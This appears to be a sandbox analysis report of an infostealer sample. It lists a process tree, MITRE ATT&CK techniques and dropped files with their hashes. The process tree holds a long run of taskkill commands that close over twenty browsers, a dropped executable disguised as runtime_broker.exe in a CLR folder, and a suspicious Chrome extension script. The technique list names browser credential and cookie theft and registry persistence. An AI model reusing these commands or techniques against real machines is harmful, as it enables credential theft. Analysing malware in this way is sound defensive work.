    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:14
    3⤵
    PID:4608
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:14
    3⤵
    PID:760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5824 /prefetch:14
    3⤵
    PID:4328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:14
    3⤵
    PID:4372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14
    3⤵
    PID:5336
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:14
    3⤵
    PID:3156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:14
    3⤵
    PID:204
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq msedge.exe"
  2⤵
  - Discovers running processes
  PID:3228
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  PID:4424
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM chrome.exe
  2⤵
  PID:5792
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM msedge.exe
  2⤵
  - Kills process with taskkill
  PID:3576
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM brave.exe
  2⤵
  - Kills process with taskkill
  PID:5000
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM opera.exe
  2⤵
  - Kills process with taskkill
  PID:4848
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM vivaldi.exe
  2⤵
  PID:5856
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM firefox.exe
  2⤵
  - Kills process with taskkill
  PID:2892
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM dragon.exe
  2⤵
  - Kills process with taskkill
  PID:708
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM maxthon.exe
  2⤵
  - Kills process with taskkill
  PID:2828
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM uc_browser.exe
  2⤵
  - Kills process with taskkill
  PID:3820
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM slimjet.exe
  2⤵
  - Kills process with taskkill
  PID:3872
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM cent_browser.exe
  2⤵
  - Kills process with taskkill
  PID:5416
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM epic.exe
  2⤵
  - Kills process with taskkill
  PID:1740
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM torch.exe
  2⤵
  - Kills process with taskkill
  PID:5684
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM whale.exe
  2⤵
  PID:3292
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM 360browser.exe
  2⤵
  - Kills process with taskkill
  PID:2644
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM qqbrowser.exe
  2⤵
  - Kills process with taskkill
  PID:1872
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM browser.exe
  2⤵
  - Kills process with taskkill
  PID:5020
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  PID:5016
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  PID:4796
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM brave.exe
  2⤵
  - Kills process with taskkill
  PID:2544
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM opera.exe
  2⤵
  - Kills process with taskkill
  PID:916
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM vivaldi.exe
  2⤵
  - Kills process with taskkill
  PID:1204
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM firefox.exe
  2⤵
  - Kills process with taskkill
  PID:4316
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM dragon.exe
  2⤵
  PID:4308
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM maxthon.exe
  2⤵
  - Kills process with taskkill
  PID:2184
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM uc_browser.exe
  2⤵
  - Kills process with taskkill
  PID:960
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM slimjet.exe
  2⤵
  - Kills process with taskkill
  PID:4764
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM cent_browser.exe
  2⤵
  - Kills process with taskkill
  PID:2356
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM epic.exe
  2⤵
  PID:5228
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM torch.exe
  2⤵
  - Kills process with taskkill
  PID:96
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM whale.exe
  2⤵
  - Kills process with taskkill
  PID:3896
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM 360browser.exe
  2⤵
  - Kills process with taskkill
  PID:1076
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM qqbrowser.exe
  2⤵
  PID:364
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM browser.exe
  2⤵
  - Kills process with taskkill
  PID:1468

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe" explorer.exe ,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
1⤵
- Executes dropped EXE
PID:4220

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
1⤵
- Executes dropped EXE
PID:4248

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1268

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Modify Authentication Process

T1556

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 9ea6aa8c07c2aeb1e854c9d1504b253a20a82689e313f885a51693d52ffa3c30
MD5 1467b03a9d2a4c9aa9dbacd12e46b22a
SHA1 d08fd99e71c0bc9b1e58e33f4d07bb2892225f8f
SHA512 7849f5b644eba79a5ef08a0d7f538d004fca16a7a7ff7434c44b8995a66eea9a0118bc65c602692882c9b83fa7529a79e36189194516ce0b0d8d9a9e7c8049ad
SSDEEP 192:DRUAzacRv7pAPRp2o9XxHsb+WNnnQP9/QCCwaFB4c/HVyIsnAUge:DRUyBBAXjfwQPZTva3lJe
TLSH
T12342752EBD50793BADCBD229FA657B53D7F6102121942E84EBFC862C15DB5CC222701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 13KB
SHA256 5581fcbd5a1cfc0991c691acfe2b8080ba5b1da123d267e2c93fc9e6d1c0f292
MD5 81873de813bf8cddb1d5338f5c122aeb
SHA1 d8c301b04dd81a3370675b1aee9cd4c0f813b5e9
SHA512 0d541da93ed2a26117f43c27dc7181ec4194ceaa8ef8240a59623e54c934fd23a2997aea0724b7261e3bdb118b15de1037a6ede4ad47a24e2ef5bba9f2f8ef52
SSDEEP 384:/9j0X7KxkXqKf/pUZNCgVLH2HfgslNTXOD0b+ErU3rxHGSEM8X:/d0X7KxkXqKf/pUZNCgVLH2Hfgs77O4P
TLSH
T11352F827684D9A3F0FD8D64CDC166F8FADF601576678092497FA5D0803A97CB110A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 44c7901326edc5825481a6979f8f4086313f408bb8cd9fb33139fe734042bec3
MD5 d9159b73eec940bb94c0920a32e3df00
SHA1 ccd3a403847b96aa4d32f390ccbfdda829badb96
SHA512 449cb2a1dfa566ea435402d99edbc063d03c5fb94e6da17d28017a603540034fc1883f7b5cee9d7c76dacab34ba7aa4d79a67a6253cd3eea37fad2d41535d954
TLSH
T103A00298A1D40475CE005774B06546452251481555A24703A496184A9E6B1E06146504
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a6bfa.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5a6bfa.TMP
Size 48B
SHA256 d840a6768ea2cc54f57cf67e09c0bdffef4f88b82fcb675dfbb47d341763a8b2
MD5 738c5c456912387dbb3065627a13a6d1
SHA1 345c5956acbb63920072816be4c07df6d7e1455f
SHA512 8dc115038422b474e1bb72f0732009130e433504b7008813620c2462520564fe382da82647092d7aaca2aa854cb03f4c82a286bb608cbdf50038ae59dff26ac7
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnGraphiteCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 b42b4fd94692e834aca49af44fb15f0b4139cf108539fad03fcde4899804095a
MD5 48c50e1ad5e08dff1c8de09fdf6437bd
SHA1 b62ab0ed96fa82073101ff1015839b4a10f1cfb9
SHA512 e06b68573355022693868fa619cba72fe70387065bb3e3225c78b5ed3c7325f1a4f485a7d63c444927c7c8872da1df31e379c019a7b03be5ca163eb5324b13b0
SSDEEP 3072:pVqG/4DBKzuU01EBFdObXaRr3RRwYrk1SBVIPSCO3VqNaNGURu:pIrgqU1FEb281SwPXOdN5u
TLSH
T18FD312F6FC77BEB912E9C286F5476D0F9D38A56AB4466FA584C0270C20DBEE14253213
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 85d7f7783c2aba0644334d5cc388bf9164a03ec5d23ef9769b4082349a7b321e
MD5 5c250fd407d87874a1229b897d8cd095
SHA1 9d0d3e2dc4a9d55b9c0cdff58aa69e8e6e64f3a8
SHA512 cdc8a0215a003163f160fe82583b989c2d9d5929dff060789a215dfdab5dcacbdd0bf9c61fad0b85d3f6344294fd339947f941a5e87ed61425959ab379a45979
SSDEEP 3072:uVqG/4DBKzuU01EBFdObXaRr3RRwYrk1SBVIPSCO3VqNaNGURu:uIrgqU1FEb281SwPXOdN5u
TLSH
T194D312F6FC77BEB912E9C286F5476D0F9D38A56AB4466FA584C0270C20DBEE14253213
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 ba8d915dd418a3953a00d8a17053ccbeda812fab1d518b4e53dec4d0a89f8850
MD5 c0818011439370c6af90ab0265b61e0a
SHA1 4adeaaf580be7e2d68dd955a4f965c26f7b20236
SHA512 682e81e0e42941e72dc4a90f29f0057fd086f2c80e6732cd78ff4c5f8f97a396c4f05fef89bea026bac443fa1fe1439be02f51296f63d28ac2b6a035ae698266
SSDEEP 96:xC0d+r2io+TJ/E0f6m934zM4RDotok5dmDCB6nGyvn0b4T8xybJv4a:xC0ITo+TQ0InDUDmCPPb4T8xybl
TLSH
T1DFA10935E0684D774477D446F1A26A43CFB97067E9B2AF90EAD90E0D14F70EC1341A23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4c2cb743-b674-4377-b8bd-ac2de529d1b8.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\4c2cb743-b674-4377-b8bd-ac2de529d1b8.tmp
Size 39KB
SHA256 8193864ba58ee72ddb569f5a5ea0b7f2df030987309427b8f6114d82b6e54eb2
MD5 c717b795a0cd1b7ec8db6d0702517667
SHA1 e0bef01e9a3aeead87cfd3472a79c942506c9ae2
SHA512 f406e50b9247122efa459e93ac1a4368a2062805b62855d09d11f4d32ef4321e706b57b0a07d067fcbaba948bcf15cf537db28d35f6fdd8b04f0a2f040449cd2
SSDEEP 768:frv+4UNbdz3S52/TBOWS3ztzONXyer1IRCzniwKeVH1SK7:fbsbV3poSIqnuEH1l
TLSH
T1CD03C031A5689E338DF2A7C6B047B7437FF8205BC5800A90DDDA1F8E0A8799E130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 ccab749f8e1da73fb39252a6b056fbace27688899571db48c21f436f378c82aa
MD5 fb7daabf938a9c52e16e2e7563adfd42
SHA1 eb5150ae1ef6c36b4b210befdc20490e959d0ba3
SHA512 82416c8114a0e620288a2f895df87cb861dbf5ce5116ab34ad7f59ec7b89ad9d76df47a20e968fe1bc406871fbc939b952bcf1ac0f68d7fbc4074e14a51cef0b
SSDEEP 96:R9vOPOKVJfMklDGb7yEYQkowsnbb3Eu1AO7F7Vl:RYGKrMk1GfcQkoLEgjl
TLSH
T18FA1FAC34AE909D1DFFE5DF81199ACCD22E0E04E2BC2175255666E64590BFF241C2A3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 a857f5a791008205410d47200ed3ad294f47f5c6abb644a9a69fbde1285ce9d9
MD5 8bfea642920ed9e4f0fb260704183d00
SHA1 b797bd66c8c8fd133464874e0da76fd8a6cf5ecb
SHA512 7de21fe6d417ab3147c8ab76eebeac841be04e8824d15cb049a5d7c5190826ce91eb102e0cafe713ec2174c2f9377f113cc2d2c7bdec653a6bf3d3efebc571e1
TLSH
T11621CDF3C2E8567D894181F46B183F1BCE2D0814832C3E6AC4D4AB5F93F5871D24095E
MD5 SHA1 SHA512 TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 fd917895a19ae1265152b14955ad47ee0ca38918f995079e9a53fde8dc0b2aa3
MD5 5a9c8e7b3abffd40ef9a7ae68a58acb7
SHA1 3e6a5830a310def439b248b910c8086f22f9af8e
SHA512 26fe16b6f630586642ef7f1d38d9ad532e2d659531c2653ef8661f4c0533298e733803302044919b4091d87df057442e247394894ef25e242e6a9151672b1d37
SSDEEP 192:sxRlRe9R/fjs55wGFljBbjJQroA8pJD/g6+WNPg5/YoNCYdGgIgVkJ:sxRlaR/fjs55pnRJ/N/5k/oqy
TLSH
T11252B8157928693B9CD7E25DFA16BF53E3F91073A4D42E48A6FC860C04F66CD221780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 fdb263c66ee85070d57397f8f99c37283398039d3d631bdf4c2b7099e5e17440
